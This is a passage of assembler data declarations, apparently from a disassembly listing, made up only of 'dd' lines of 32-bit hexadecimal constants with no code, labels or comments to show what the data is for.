		dd 2858E225h, 762C9621h, 302CF1EFh, 0B1A9362Ch,	0EE74C70Eh
		dd 0C4252989h, 64408889h, 0CB233252h, 4D78C43Dh, 2FC58352h
		dd 4D781B13h, 166F1FC6h, 0DED09B9Dh, 0B6ED8014h, 0B4F59624h
		dd 7CE99128h, 0BAB58517h, 0D1BF4349h, 0FBC2B758h, 68880029h
		dd 7449DD30h, 0F50C9BC9h, 0C26A86A5h, 542C3EDAh, 11643BBDh
		dd 5833D5BBh, 5E8FED5Bh, 0CCD539A8h, 0BE20B485h, 0A2F84D2Ch
		dd 0BE09F267h, 21213CDBh, 0A8F1EC73h, 5E48CC15h, 0EF099859h
		dd 1242DF76h, 0BD855D29h, 0B82E097Fh, 0F4B73A11h, 33F1ECF9h
		dd 1728C5CCh, 0AAD95BA6h, 3928AC80h, 89B81D43h,	4E9C572Bh
		dd 2AA95054h, 0FCFCE6CCh, 3FADE02Fh, 0C9313C21h, 547FB36Bh
		dd 35C34DD6h, 0CEA7696Bh, 5BA083CEh, 0C0951074h, 59C3C44Dh
		dd 1BEE7169h, 5A8455E6h, 69D50A46h, 79F66D5h, 0EEEB2E7Fh
		dd 62C5A490h, 18B0B586h, 0E2CE5BDEh, 0B258E1B9h, 0B4C64C60h
		dd 0E68BCC5h, 746E3h, 9351C9CEh, 28253DFDh, 6B3C12A4h
		dd 3462B171h, 593AD2C6h, 5C2C3E1Bh, 1B4C1D04h, 673B622Ch
		dd 0ED49467Fh, 0E7E611D6h, 6405C69Dh, 0BCE7D509h, 1EFF5DCFh
		dd 6A388E44h, 82C8634Fh, 10691A02h, 32347464h, 1804960Eh
		dd 7FBFB879h, 48077653h, 8988EC49h, 43BAA597h, 42EA843Dh
		dd 0CE46344Bh, 0F8EEBCA3h, 448164E9h, 0F5850C17h, 0BA692702h
		dd 313C35DDh, 0F9EB0E6h, 2DD30939h, 6707C5CBh, 8608A3C0h
		dd 58312257h, 3B55DE85h, 0B876D82Fh, 39E441BDh,	0A39F75AAh
		dd 26B52B2Dh, 11A9E3E1h, 755791DBh, 5B824DC8h, 47C9E5A1h
		dd 71B7D781h, 0A09F28F4h, 39366F60h, 7C1BCACDh,	54E5C2F8h
		dd 0A3F300FAh, 0F362B6Ch, 77E66F59h, 9AD6B169h,	5B405F07h
		dd 780EC94h, 4021559Bh,	0AB889B78h, 0FB9D5EEFh,	0FC2E3318h
		dd 0A16440C2h, 5D19F07Eh
		dd 74A81EDEh, 0A4C574A9h, 135D909Eh, 688088A1h,	0A1E62DF1h
		dd 9A54490Ch, 0D9CF2F76h, 0D3342327h, 88746B7Ah, 0C081E264h
		dd 0FE895716h, 0D690A618h, 0C29509F8h, 107A5702h, 4434667Eh
		dd 0D01D3087h, 54861162h, 10D196A2h, 7E1829E8h,	0BA71BC7Bh
		dd 4B484888h, 64E305D2h, 1F8DC8Eh, 0F4B6F726h, 9C9AECFEh
		dd 0F00EEAAAh, 0B039E02Ch, 0FA4CE592h, 4605DEFEh, 31C118Fh
		dd 4CE0A880h, 151F2AD4h, 0A83B92BCh, 91C7F15h, 99F43575h
		dd 1AA5A0CCh, 0A1802883h, 705E929Ch, 927382E5h,	5496C4C7h
		dd 46BA7911h, 72CAE262h, 8FB2081Eh, 0CCD67DC2h,	74F1C7AEh
		dd 68975149h, 41D10E03h, 0C5B50A03h, 79356F8Ah,	56A79B99h
		dd 99315F00h, 646300E3h, 1424BF0Eh, 7B998095h, 0D54B5198h
		dd 0D549D995h, 0DDF4CDFBh, 650D13A6h, 5B742733h, 1999BAD0h
		dd 0C549C768h, 0D1F01F0Bh, 9C814D3Ah, 3D038FA9h, 1A7C741Ah
		dd 0A2B04E12h, 3A1277FFh, 2B83D7Bh, 46544C45h, 6455249Bh
		dd 4B7A30C9h, 0BA9CEAFFh, 0A62F00A8h, 0CD7F5539h, 8AEFF91Dh
		dd 25343DC9h, 0CACAC2FBh, 70A8E014h, 84A25476h,	0D11858h
		dd 2773BD80h, 0AEE55B79h, 0EA49915Ch, 68A04AABh, 81554616h
		dd 0AA67F09Eh, 5E3D5F3Ch, 54673A8Fh, 73571BB9h,	71DEAC25h
		dd 0FE52E863h, 500515Dh, 0C3D8DCBDh, 3DEEAAD2h,	0FB640C8Ah
		dd 22B32B2h, 41F6D9FBh,	0CDD19601h, 0A02CF687h,	6124702Dh
		dd 1D4F530Dh, 0BB000534h, 706FF2ADh, 1B2CBCACh,	22F674DCh
		dd 6014DA34h, 51065B94h, 5A35D12Fh, 4C1E6D37h, 23B7EB4h
		dd 31E15A1Bh, 81D053D0h, 60F9BC93h, 1699A644h, 57F3AD97h
		dd 567D2B51h, 0F81D9CEAh, 0F98241CBh, 10C92686h, 3A6AFFB5h
		dd 0F66D2A42h, 7E690F5Dh, 700665C2h, 0CA9C7FE4h, 8DAAACDEh
		dd 45AE4F50h, 21E5BFBBh, 65F21F8Fh, 62EC4D5h, 0F3FECD98h
		dd 7C092180h, 1DDA3A30h, 0CC69A2E4h, 7EEC532h, 2892376Fh
		dd 15682853h, 0DE01B57Bh, 0C4E8F6D3h, 8B8C60B7h, 33B3E47Dh
		dd 0DF286090h, 2FD9CE54h, 0C50457A0h, 0D46B2571h, 1820DD9Ch
		dd 34BD5584h, 8E313A40h, 445EF88Dh, 53FC3069h, 0D3376910h
		dd 50884D81h, 5F87806Fh, 0C2BB8332h, 0CF331996h, 73464CF8h
		dd 2A8EA7C7h, 18873B09h, 8836F6EBh, 5296845Ch, 0C77BD775h
		dd 2FB8D872h, 0F33131BFh, 8FFF8A64h, 46FA0EF1h,	0A1B4A070h
		dd 6FA55C66h, 705A73DDh, 278CC71Bh, 515D7EFDh, 621C7B8Ah
		dd 5FBDF752h, 0C40B393Dh, 0CD0EBA24h, 83810C55h, 1D141CA3h
		dd 2EB8FD9Fh, 0B8091CFh, 0A09BC1FCh, 7216DE3Ah,	0A24E97F4h
		dd 0B3710Dh, 8090F8F7h,	309A67B1h, 6DCBDF01h, 7CD95197h
		dd 0D37A6659h, 0C923D14Ch, 0B478D584h, 94AEBFF7h, 649B66ADh
		dd 0B24314C2h, 1B4B9464h, 0D8128BFAh, 0F2429706h, 0DE4C4E38h
		dd 6220BC2Eh, 912D1DB7h, 0A7838E24h, 459D963Dh,	6750E744h
		dd 49FC2C1Fh, 0C9B1550Ah, 26B4D2A2h, 0B5596EC7h, 6B388822h
		dd 40B8FA25h, 41BAE2BAh, 4081FA59h, 60ABA649h, 98A4DF19h
		dd 6DD8D791h, 0AC8A9E52h, 0AA1C9369h, 3B8611BAh, 38CAE26h
		dd 93A5D3F3h, 8C99A85h,	7E5E2E0Dh, 0E2A372B2h, 495B2FB9h
		dd 35DB280Ch, 83040DA6h, 3A378E4Eh, 8BA65910h, 202398ECh
		dd 7AB3391Bh, 0A31DE8Eh, 0F26EC34Ah, 8A3711E7h,	781E2573h
		dd 208F8EADh, 45191484h, 27B91986h, 98CACBD4h, 9A40CA3Dh
		dd 3F3FE597h, 0F9E2207Fh, 0D244F16Eh, 5003EF7h,	0E23A1572h
		dd 0AAB296h, 73F8569Ch,	1844AB6Bh, 7F3E1F37h, 79DF387Ch
		dd 0FF3D4FC2h, 774DF8DDh, 861A897Bh, 9BBA6D54h,	7A26690h
		dd 39E325ECh, 884796DAh, 0D2F6206Ah, 8769DE32h,	0E0C93168h
		dd 92564940h, 252D0710h, 0B5248086h, 9CB54B76h,	0E3BBBC80h
		dd 6138F2B8h, 0B9D3F0DFh, 0A8553A95h, 0BB2C6DCDh, 78843120h
		dd 4D7210A2h, 0FCEC7886h, 2CF4F338h, 0E6DE71CFh, 300D4AF1h
		dd 115D8B7Bh, 66F54DCBh, 55131AF6h, 0BEDEFF32h,	32000E60h
		dd 9E89A566h, 1ADC5884h, 447D15ADh, 1151F253h, 0D6A99480h
		dd 0C342DCE2h, 0EBDBAAE9h, 0CB1419E3h, 3C274E7Bh, 0E09FA89Fh
		dd 0C33D64Bh, 0A1B90F07h, 5BE2C8A6h, 0F713A6F3h, 29527027h
		dd 17DB2EA7h, 4298A094h, 454DA843h, 0A1792398h,	51DE7185h
		dd 3EBAFBAh, 3A702449h,	0A7E45050h, 864D089Ch, 6DCAA9B2h
		dd 0CD578D83h, 0E5D64035h, 0D184005Bh, 891BFE84h, 0C6FD417Bh
		dd 95F54AD4h, 12FC7054h, 75A5E683h, 50B11778h, 0B7DD475Fh
		dd 3E646AB2h, 497FAED8h, 69753E58h, 1F3CEA3h, 9CD949C6h
		dd 0A3559172h, 0DE96B7B5h, 1008AC8Ch, 33A3C0C0h, 4986C5E6h
		dd 5EEC819Ah, 7A68C039h, 0F01A1683h, 0B25B31F7h, 36B8A44Ah
		dd 0ECAC9183h, 7484CC57h, 0D496CE4Fh, 81BB570Bh, 36DE2CFh
		dd 1E3D8C5h, 0A2BDBA2h,	87DC04F7h, 0A629E5h, 99C33E81h
		dd 14BDBC86h, 9EF74DFDh, 9FAF3E6Dh, 0AC7DD05Ah,	8A691325h
		dd 0DB21AF26h, 64F754C7h, 0EB13DE34h, 20A3B801h, 0D2B4926Eh
		dd 9577935Eh, 10C72493h, 8EDC4714h, 260990E0h, 4B7B6E5Fh
		dd 0D1942FFEh, 0D4ABBFAh, 5A962CB3h, 5D4D8C54h,	0C15C7C5Ch
		dd 54BB319Bh, 0AC8A3DCAh, 5E06F123h, 2371C510h,	8CDAF3B8h
		dd 0F2CD078Ch, 0F35D93CAh, 0AEFF9EE9h, 0C5CD6C2h, 0E298F278h
		dd 50BE78A9h, 67E8EB5Fh, 95564589h, 0E49CD7E7h,	3D9CDAE4h
		dd 2357FB5Eh, 0D5D82D69h, 596E25B4h, 723D3C1Eh,	63DB1B14h
		dd 0C3C2A273h, 5E6BFE46h, 0C9976D75h, 5A064A54h, 7929EBFCh
		dd 674F47AAh, 0B995A253h, 0B5BC5128h, 7882AE63h, 0DED85F46h
		dd 55394478h, 8C96A462h, 47E44C3Eh, 750BD15Fh, 66DD346Eh
		dd 16355487h, 14031C57h, 738FD941h, 0A1F31D9Bh,	21F3237Bh
		dd 363FC333h, 0BE7901E2h, 0B49FE9F2h, 91CDC674h, 23C452B2h
		dd 5F4A3E7Dh, 76F4D92Fh, 21BC0165h, 9F9FEBB3h, 0DBA64864h
		dd 0C341EBB7h, 4963F8C2h, 562E1B5Eh, 0B7A708BCh, 1986886Ch
		dd 0F06B5D15h, 0CBCEA586h, 1D828E06h, 3133DEBBh, 7D6B61C9h
		dd 8AB8669Ch, 37AD0C02h, 0D3C0AC1Ch, 0B3702AAh,	0E8AE51Eh
		dd 0C88281DCh, 0F3121CA3h, 85FBC11Ch, 9B1D2A81h, 11BFA644h
		dd 0D35AAC80h, 0E790E997h, 0B33A6DE9h, 35758D69h, 54A57E1Bh
		dd 9727E02Eh, 0D351D76Ah, 8ACE12B2h, 0E404E1CEh, 0A57DFE31h
		dd 18D33B3Eh, 0A044E326h, 0C0C9AB6Bh, 6013A2BEh, 6B43157Bh
		dd 93CD17D5h, 69720D77h, 6F624008h, 21BD7F8h, 2ED9F1EDh
		dd 0D4BEE3AAh, 0AA60D176h, 7656AF4Ah, 0C79D1860h, 8AB611B2h
		dd 99FE117Ah, 32AB2555h, 872A80BBh, 5C82153Dh, 26CFB988h
		dd 76696BE3h, 67EF8017h, 0F684B9DBh, 0B904FA79h, 0DEE83A36h
		dd 3507F608h, 3A38538Fh, 0AD6110C5h, 0E480B25Eh, 0D477B18Fh
		dd 7892D6C0h, 1137B300h, 0EBA2948Bh, 51C9C1CAh,	0B2BAD9B4h
		dd 0DFB3EA98h, 0A51A1D15h, 95ACAD37h, 0AA873DD2h, 1322F33Bh
		dd 12715160h, 4A9F2DE5h, 47380DABh, 9AE2EAAEh, 3260EB5Dh
		dd 0C6D91215h, 0D7E12F28h, 62040EDEh, 7CBA507Fh, 7700BA0Dh
		dd 8F8316E5h, 99290504h, 0A42F6AE9h, 0CC98A95Bh, 0A43B3AF8h
		dd 7129A5CAh, 3B38F26Dh, 0E20F0FC5h, 0BF52AA77h, 9E200FF1h
		dd 7E1AED66h, 28DF9081h, 23ECEF8Dh, 9BBADCB0h, 0FCCE9299h
		dd 0F41FD9F1h, 6A265B82h, 0B58D95A1h, 7A9C0875h, 7C3FE989h
		dd 0CEFE5CE9h, 0E2419EDh, 77535EEBh, 4AA55A16h,	301E4A34h
		dd 0CADF6A8Fh, 64E7FA7Bh
		dd 0E20C317Eh, 0A9E5384h, 1FC93E89h, 46456293h,	4312C67Bh
		dd 675E27E4h, 236EE2AEh, 0A07021EDh, 0FDF396Eh,	9F3A986Eh
		dd 2D22E871h, 104C088Fh, 434830C3h, 0B7BD680Eh,	0CFD89FD6h
		dd 1734DD13h, 5FFF3170h, 8638602Ch, 0D461433Dh,	8C710A84h
		dd 15959CBDh, 59690E71h, 922B3F69h, 1B19EB08h, 0FDE06EB4h
		dd 0F02C2395h, 0BA77D4D4h, 72D52835h, 0B323D33Bh, 0F24C498Bh
		dd 84062509h, 6FBB758h,	19D4A6Ah, 65A1C028h, 8747D409h
		dd 0BEA64DD1h, 9440D0BEh, 0F72481D9h, 54992415h, 0F1BD332Dh
		dd 20A1A34Ah, 50BC7D0h,	0AE936043h, 9E862AE7h, 16ADFCEDh
		dd 0BB666C1Ah, 25C7099h, 389D52A6h, 0B2F1BCB5h,	0EFE72ECh
		dd 4F906E19h, 0C2BBA0EBh, 0B45C04A2h, 8545492Eh, 52A62146h
		dd 46DD75F6h, 856584CAh, 0AD7C957h, 826A95BAh, 0BEA95844h
		dd 418EA6D7h, 0DE124FADh, 0FA57567Ch, 53102E76h, 0A78119F1h
		dd 4CE13D8Ch, 4E88E4F1h, 0EACBDB3Eh, 3DCF8A2h, 0C0F88186h
		dd 80BBB43Ch, 9A56A750h, 0B4FAECC8h, 0C55A09BCh, 7596BCADh
		dd 4DD64E85h, 0EF5AD975h, 0A89CD4C6h, 0E9D7D9D5h, 693E23BBh
		dd 2595C471h, 0D8A4C27Dh, 3ECC2FE2h, 13B9922Fh,	42E06DD2h
		dd 569AB937h, 64756770h, 0A8259878h, 0BC0910B7h, 7D68E86Eh
		dd 0B20D414Ah, 997FC85Ah, 0B80843B2h, 0BE635EC1h, 9FA2549Eh
		dd 0A8E415B7h, 6050557Ch, 5D28F404h, 0B57EF90Fh, 29585AEEh
		dd 36C6C48Bh, 945FE1BAh, 52ED9C52h, 0BD8F58B2h,	0CCF977A8h
		dd 0B014E93Dh, 8906C1D5h, 8A5AC89Ch, 67070AFh, 30F346B1h
		dd 883E4272h, 81FC3C54h, 0AA5345BCh, 0E0AE226Bh, 227E08BAh
		dd 0E3567C3Dh, 0F3B58849h, 0C4632AB5h, 0A367A240h, 82323AE3h
		dd 58275D4Bh, 0E67A5E8Bh, 415C0A14h, 893DB872h,	0C3B2FB91h
		dd 51CD9F87h, 0A13A6126h, 398E65D9h, 1E04C6AFh,	7159A4ECh
		dd 0CA9FA650h, 0F026B5DAh, 0FDA2886Eh, 0CD7EC931h, 0EDC156F9h
		dd 67B67AA2h, 391C62AFh, 27D119DDh, 0EA4E36E8h,	0CE2537E5h
		dd 0A61EA9E7h, 406BE407h, 509DC895h, 889EC8CBh,	2A9E6C55h
		dd 925E9D05h, 3F77A124h, 0E0A68517h, 759B1B43h,	0B6FCE3D4h
		dd 2C63AB4Eh, 49BA7E68h, 3E4A2E5Fh, 0C0545E4Fh,	27B8C146h
		dd 71494A57h, 0C33DF371h, 0FD399670h, 72B7F8BBh, 17E101A7h
		dd 8805DDBh, 4B64AD19h,	37B174C2h, 0E426084Fh, 74E7FAA7h
		dd 0F8150D32h, 891F1D29h, 0B3BD5D47h, 0CAF5B607h, 1349E741h
		dd 19D08936h, 0FC72E0DCh, 0C1650879h, 2569C0EBh, 6BE976E8h
		dd 0A25A7CE6h, 68EF771Bh, 7D90C8D5h, 0B0D18146h, 386673A2h
		dd 0ECD3997h, 15FB4B06h, 0A2ABA539h, 0CC16339Eh, 0EB3C7011h
		dd 41EA0F76h, 7D119983h, 2AC9BC85h, 58D7D362h, 5604CFF9h
		dd 9EF8E1DFh, 0FA509C64h, 2C6284CBh, 38E1EDAEh,	7B1A0CBFh
		dd 995B85ACh, 54643738h, 0C178CC59h, 0D9A6211Eh, 3F85EE5Dh
		dd 8C79C042h, 0A310A125h, 0F5D9E33Bh, 449B4C4Ah, 8EC32C4Fh
		dd 4DD46507h, 64268DA5h, 77169C63h, 8EEBFA22h, 5B47E55Ah
		dd 0E821AB7Bh, 0EC2E5DA6h, 6FC1A1C6h, 6C4B2644h, 1CD27C2h
		dd 17507BEh, 0D254B8E9h, 0E1EB7805h, 0DC725244h, 177B8D9Eh
		dd 26EB6115h, 2362061Eh, 42561152h, 0A5B873FDh,	0D953F8EAh
		dd 6370F0AAh, 46F27F68h, 0EC3530A2h, 890B3AD0h,	8FDFB3FAh
		dd 58257AF2h, 0ECB3236Ah, 3C2D0119h, 8A474399h,	9AC93E58h
		dd 0DCC96C7Dh, 5EFD30EAh, 0D8960404h, 0FDFF7670h, 0A3F67B32h
		dd 711C9847h, 0C8CD83B8h, 37CC629Fh, 0BFFF1A36h, 831D943Ch
		dd 4C6DF40h, 0FD25F1C7h, 4CC0056Fh, 0B7635F5h, 0F2766D9Fh
		dd 75D3BF49h, 0DD2B40EEh, 0A308925Ch, 0C263D2E9h, 0D47E9FE8h
		dd 29309BF5h, 0AA55CFA5h, 0BF718367h, 5D166454h, 3616B46Bh
		dd 23EAA378h, 4D140691h, 2157B2F4h, 6D8D4380h, 1595D08Eh
		dd 0FDCAA466h, 0A5DEDCA0h, 0EF43DA16h, 45933598h, 5BFA61ADh
		dd 533FC82Fh, 0BC86871Ah, 0AF640742h, 0F447FC99h, 0D45BEEE5h
		dd 0C19EA36Eh, 0B7D2FC2Eh, 0B685BBC8h, 93CB760Eh, 81666ADEh
		dd 8DA0D0C1h, 198C9BF2h, 1F8D2EAEh, 0C2CC239Fh,	0F8C2AE41h
		dd 0A36A7291h, 402DE0B9h, 0DA273FA7h, 2A3151F4h, 0B3D7B9E4h
		dd 97B4ED40h, 85C8CC9Bh, 606D3BD9h, 0C65E9DEh, 644CFA17h
		dd 7BE1AE9Ah, 711B286Bh, 9C63F65h, 25015060h, 9FBC776h
		dd 0BC64C0D4h, 73C9C64h, 6B3F6BBDh, 0D24EE2C7h,	5110AFF6h
		dd 267B8FFBh, 0B4A12A58h, 1160E5E5h, 7E7E950Dh,	0E10550E1h
		dd 0A893CC83h, 6693A81Ch, 7298A0A2h, 9BFFED23h,	10F118BFh
		dd 560190E8h, 7D0BB58Dh, 51464484h, 2740C7CFh, 0BA6E375h
		dd 0CFE1440Dh, 0AEEC39EBh, 4C8AFDF6h, 2D34B265h, 4C8B5208h
		dd 7FE36C76h, 0C07BC931h, 0C7140111h, 63C34E8Dh, 0A6D5143Ah
		dd 0C9B81177h, 7C56D7B7h, 0AC8C8C5Bh, 3612C933h, 0DB8C2829h
		dd 3430C0B7h, 0CB67D690h, 1D71AD83h, 68B568D8h,	0B70D1382h
		dd 2EC9F3B4h, 0F0ED13AAh, 95DEB55Dh, 0BCF2196Eh, 8DB2D164h
		dd 96C8B054h, 0E8544F66h, 4A87CCCDh, 233D1E2h, 4522B83Ch
		dd 0FD9503ACh, 2A8D6D55h, 7D069F6Ah, 0A4102A46h, 0D8FD3D9Dh
		dd 306E9F2Eh, 0C6F14B2h, 0D880C71Ah, 0E6994635h, 0EC94139Eh
		dd 4C3D225Fh, 2742B7B9h, 8FA50F8Ah, 81CF2416h, 85880CD0h
		dd 33160D72h, 0FE580D0Eh, 2C91E805h, 492FB56Ah,	5CA2021h
		dd 73180DBFh, 4F08F46Bh, 0CDF5CFCCh, 0FD97B98Fh, 0AA5A7030h
		dd 2A595C89h, 7B80D3E1h, 0E9165F91h, 398F2510h,	7E247000h
		dd 98842FA6h, 4895AE1Ch, 29607A71h, 1EEB7A50h, 97C21836h
		dd 7FEEFE90h, 0BBE99D8Bh, 425EEFBAh, 6740960h, 728C6F48h
		dd 50511B12h, 4A537912h, 6314E22Fh, 977ABE79h, 0A5A485F4h
		dd 0F6CC95C2h, 2DEBD69h, 0AB85CFEDh, 0EA0280C2h, 32F65FC3h
		dd 5793DC5Bh, 6425EC30h, 6735027Fh, 0E3CDFC36h,	40C2765Fh
		dd 84382B95h, 0DD039472h, 74A625E4h, 3DA166E7h,	47DC9B5Ch
		dd 9DB6BBCAh, 0D1083824h, 62D5E53Ch, 27A3FEB7h,	3A85DCF5h
		dd 3897FCEh, 0AD44E0A3h, 4EEA1815h, 0C2AB6013h,	9A470FBEh
		dd 47608B68h, 1A5E5281h, 502644F6h, 0B2B6E49Ah,	0FC4D7F0h
		dd 24E93D63h, 552EBD58h, 1C89C4E5h, 5CC5A43Bh, 4DC91E84h
		dd 92BCB6E9h, 0F0060860h, 14645BA1h, 0B017A084h, 0B9C9E059h
		dd 4AF58F7h, 98819CDCh,	8A666A6Dh, 151767E1h, 4C04FE0Ch
		dd 2EA36654h, 0DD5F42DBh, 60169949h, 0DCAD1341h, 608530E7h
		dd 6956F362h, 6EA3D4Ah,	3E4B94D0h, 5FB2E628h, 25F63855h
		dd 13833684h, 0B469E289h, 0F6DBDADh, 5CF1F1E1h,	7FA763DAh
		dd 0BC149A37h, 662A2C6h, 0CC6A30B1h, 59F2FF79h,	0F78A960Ah
		dd 0FF0198DDh, 1E1F7234h, 6AC54903h, 7CBB83C4h,	30E3EA36h
		dd 97D55F2Fh, 3D1285B8h, 7378DE94h, 21B8C8C7h, 4990C67h
		dd 3D804912h, 0E61AB23Bh, 7D279694h, 8D02D472h,	4022493Ah
		dd 7F63AF74h, 0E10A8FE7h, 0F11AF900h, 45286A27h, 0F5D859E8h
		dd 53CACEFAh, 0AE687D53h, 0CE80C68Bh, 346A207Dh, 5637CEACh
		dd 0BB5BF5FBh, 49226FF5h, 994321EDh, 35137D6Bh,	0F27820Eh
		dd 50CEC6D0h, 0FF407AF6h, 0BBE8DE4Fh, 5B109F94h, 0D6CA73F5h
		dd 4F9C9CD7h, 7F9CB4EDh, 0CEB3CE3Eh, 2BF13338h,	4F8E7F08h
		dd 0E06D8CAEh, 278F1F1h, 80A7CCE6h, 0A1915942h,	0DEE4E8C9h
		dd 61B231FAh, 49CD6817h, 90611E19h, 0F432BFD8h,	0DAF236DBh
		dd 0F2BFB64h, 84F30354h
		dd 863DA7Ah, 752FCA53h,	3B532316h, 0BAAD6D54h, 0B4D13368h
		dd 0FD23C3EFh, 9A1922B2h, 7CA4C3DDh, 9C9C2B1Bh,	1A2AB95Dh
		dd 614B7A34h, 88233FA5h, 0A7152C32h, 0FAF4A0CEh, 7CC07145h
		dd 785E3361h, 0B8E8D579h, 34E2CBDh, 48AAEF10h, 0DA9CD75Dh
		dd 311E9B11h, 0E9D96213h, 0C463A0C9h, 185B7D50h, 97216DCAh
		dd 31025DD2h, 9618686Fh, 6FC8409Eh, 97BD9054h, 33D667F4h
		dd 1029978Fh, 4608DA3Ah, 0E916F057h, 690D9B0Ah,	973414FEh
		dd 10572870h, 9AE94E0Dh, 0FDF48A42h, 575F6DE0h,	8396589Bh
		dd 5CD5B596h, 0D9644200h, 5E5079C0h, 0AF57D0C1h, 0E5A2B93Bh
		dd 0BC8B7660h, 56A4D0EFh, 5A105EA1h, 488E84B7h,	4833EAAh
		dd 0A49B500Ah, 0DE1FE3Ch, 7AB630B1h, 0D0524D51h, 5E25723Dh
		dd 0FA5B7C64h, 7436CEE1h, 0C1E30F1Fh, 0DCB89C15h, 0EF085441h
		dd 0E4CDFBE3h, 1520B64Bh, 1B6C42EAh, 0BEFE36BDh, 68452CDFh
		dd 354E2AEAh, 0F401DCFFh, 0C13D174Bh, 0D2E0C03Fh, 1CBDD281h
		dd 630FD78Bh, 0FE4D526Bh, 3945D5Bh, 5D2C4661h, 52776977h
		dd 7C1689FDh, 0D419DC01h, 0DE8F3E11h, 0BD737E8Bh, 0D4239A30h
		dd 489BC4C0h, 43DF195Bh, 569F60B4h, 0E0ED25DDh,	16682A93h
		dd 0BA0F5C7Bh, 0A33BA9E5h, 0EB43066h, 0C89E78E8h, 88BB22E1h
		dd 49D7B344h, 0BC5F6F2h, 0F04BE9AAh, 8B828B57h,	763B3ECh
		dd 0ED221090h, 0F15FF605h, 69DD431h, 8D53F14Ch,	0CCF7F6Ch
		dd 0A3DCA582h, 51B54F2h, 0DA15FBB4h, 5CA21C3Fh,	786CC86Fh
		dd 282B17E7h, 52535B91h, 0A7C4A378h, 6E4FBDABh,	0A71F3459h
		dd 607608C3h, 0D4BEC22Bh, 0AB29372Ch, 8346C1D1h, 21C7EF5Dh
		dd 0C198F191h, 0D8212917h, 0AE2F3DABh, 975DD075h, 1673C683h
		dd 3D3291EAh, 0D06CA148h, 0D9667F1Dh, 0D4CB41F2h, 0A4FEBED2h
		dd 4E7A1F6Ah, 0B0C72568h, 9C0007E5h, 56EB6759h,	523C2D56h
		dd 0BCDB129Ah, 3FE18776h, 1F3C1FA0h, 38C3037Fh,	0DDE7ADCFh
		dd 434DD34Dh, 0C75293C0h, 4519C6A8h, 6588D9Bh, 0FCCA23EFh
		dd 0B3A8806Ah, 6FDD2226h, 79054801h, 2764A271h,	0FDC2FE76h
		dd 7572003Bh, 0BB20F634h, 1BF7B25Eh, 0CF0A3C51h, 0B39D1B8Bh
		dd 0CF46DFBFh, 5BB36A36h, 903DAB5Dh, 6AA2A7DCh,	1CC2B3E2h
		dd 0F5DBA66Bh, 44E7B090h, 0C3872581h, 3FA49A41h, 0F7733275h
		dd 492E0083h, 52906Ch, 9948ED9Ch, 5CC77B09h, 6CAB57A1h
		dd 5B3947B4h, 513E0BB6h, 3E684C60h, 42670B58h, 0B9372DA4h
		dd 0C095C97Fh, 6FD70F52h, 3FA85336h, 0DB1DA736h, 0F2D59D58h
		dd 4006867Ch, 7924B941h, 1A6AC792h, 0D1ECD8FDh,	0B219EB79h
		dd 0EB67CB7h, 2EFA11FEh, 537878FAh, 5466AA43h, 7ACEF980h
		dd 0DB353DB1h, 81B26EE0h, 0BF2DC007h, 11E62420h, 0B1C815B9h
		dd 0ECEA99Bh, 0FF4CDAC4h, 923185E0h, 3E191010h,	982E84B5h
		dd 0FEEEA88Ch, 0B1BCF156h, 4A1820EAh, 0DF5DBF0Dh, 0B2287237h
		dd 919F4FC5h, 288845BFh, 0E01D1D61h, 0B4061AEh,	84CAFE23h
		dd 0F09D3387h, 0EF02D89Ah, 0C4B4EE1Bh, 1BB2DA3Fh, 31D302D1h
		dd 0AAE76005h, 0B952ABD1h, 7066C048h, 0E547716Bh, 0A5B12E92h
		dd 625047B1h, 3520B94Dh, 4B99E5Dh, 74EFF012h, 53223B9Bh
		dd 190D5DDh, 4DA89CDCh,	3A837C50h, 18ABFF06h, 0D0306EBEh
		dd 0FE587B27h, 0C1C1775h, 6C1419FDh, 215306E1h,	905972E3h
		dd 22F70FF4h, 8CA4706Fh, 2D0C5D50h, 37286C53h, 0FE04FC44h
		dd 0ED7E6496h, 7CD9889Dh, 0EC9BAFA0h, 0A19DE2C0h, 8CE9188Fh
		dd 65AFDB9Bh, 1171C329h, 47735490h, 1C4DB3E5h, 0C6C3468Fh
		dd 1F16FCC8h, 0BEA8BF9Fh, 1FEF9183h, 0CE008AADh, 0E722642Ah
		dd 0F162E5E5h, 4425A37Dh, 2C449A5Fh, 32EF3201h,	6A269000h
		dd 24922E5h, 0D816662h,	0B6E7C244h, 0B4C361Dh, 0A1C34229h
		dd 111BDC61h, 9B374709h, 89A33831h, 73360368h, 19FA6998h
		dd 4CECADC7h, 75449C01h, 581623C1h, 230DA028h, 1EEFB802h
		dd 29302748h, 0DF0CC275h, 0B8B4B0B6h, 5FD74071h, 62BDD8FAh
		dd 7F2AAF7Ch, 0B661E657h, 0ACA18003h, 445C95DFh, 0E5EFE7B6h
		dd 0B8A1F8AAh, 53B1BA65h, 806DEDB9h, 0F7F160FDh, 0BF3BAF4Eh
		dd 953E7782h, 26E4FF1h,	5A3AC906h, 5A91E7Ah, 0CEA2732Ah
		dd 897A8CAEh, 0EC8C5376h, 0EC774BE7h, 3A606D6Dh, 18EB0AB2h
		dd 0AAC34AA7h, 0C9DD790Ch, 64CEBB4h, 0C8A8C87Ah, 9C022920h
		dd 0C38C3D3Ah, 0EF66681Fh, 0BEC3196Eh, 42E63B73h, 0E909622Fh
		dd 44B7E58Fh, 5C165A8h,	18D18978h, 7668C3A9h, 90CE0580h
		dd 0B0A385DFh, 0ACD7F522h, 0F4F478D0h, 4F392F7Eh, 90C913A0h
		dd 1F310D3h, 0B4695C6Fh, 1B9CF918h, 0DD1A9D11h,	12614D7h
		dd 279A0DDBh, 3A19EE60h, 1DB1215Ch, 1E4BF1Dh, 93EE232h
		dd 92B0484Ah, 6D68878Bh, 865F95BBh, 92D9AC99h, 27FAE5F1h
		dd 0DB484E74h, 491D57C9h, 2CC13F37h, 10C67D8Fh,	0A1C97CD2h
		dd 2E676BDFh, 0F8721F8Eh, 0BD2A0D0Eh, 710749B2h, 0C7EA5E70h
		dd 0FC070EA4h, 0EF7D2617h, 4B620BA4h, 0C27328B2h, 3843F4F9h
		dd 0C2EA003Ah, 74824D9h, 0DBFA007Ch, 0B3C8EC0Eh, 3CF14649h
		dd 7AE1F17Ah, 48BEDAD3h, 6EA404EEh, 0E3BDE464h,	22ADC08Ch
		dd 8414267Bh, 0DB22CA47h, 688FB96h, 0EB1E39CCh,	116E88D2h
		dd 1EBDA8A8h, 0D5FF973Ah, 0CD05EE63h, 48B272E6h, 76C39D2Ah
		dd 0F95E9D60h, 1F7CBCBBh, 0B3B76CFFh, 0EBE2135Ah, 0C51F9549h
